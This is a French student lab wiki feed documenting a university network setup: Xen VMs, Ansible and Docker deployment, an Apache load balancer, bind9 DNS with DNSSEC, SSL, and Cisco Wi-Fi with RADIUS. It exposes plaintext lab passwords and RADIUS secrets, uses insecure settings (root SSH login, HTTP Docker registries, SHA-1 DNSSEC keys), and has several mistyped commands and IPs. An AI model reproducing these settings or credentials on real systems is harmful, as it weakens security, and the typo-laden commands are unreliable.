 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
	 ServerName reverse.girolle.site&lt;br /&gt;
	 ServerAdmin webmaster@localhost&lt;br /&gt;
	 &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
		 ProxySet lbmethod=byrequests&lt;br /&gt;
 	&amp;lt;/Proxy&amp;gt;&lt;br /&gt;
	 ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
	 ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55015</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55015"/>
				<updated>2020-12-18T23:14:31Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
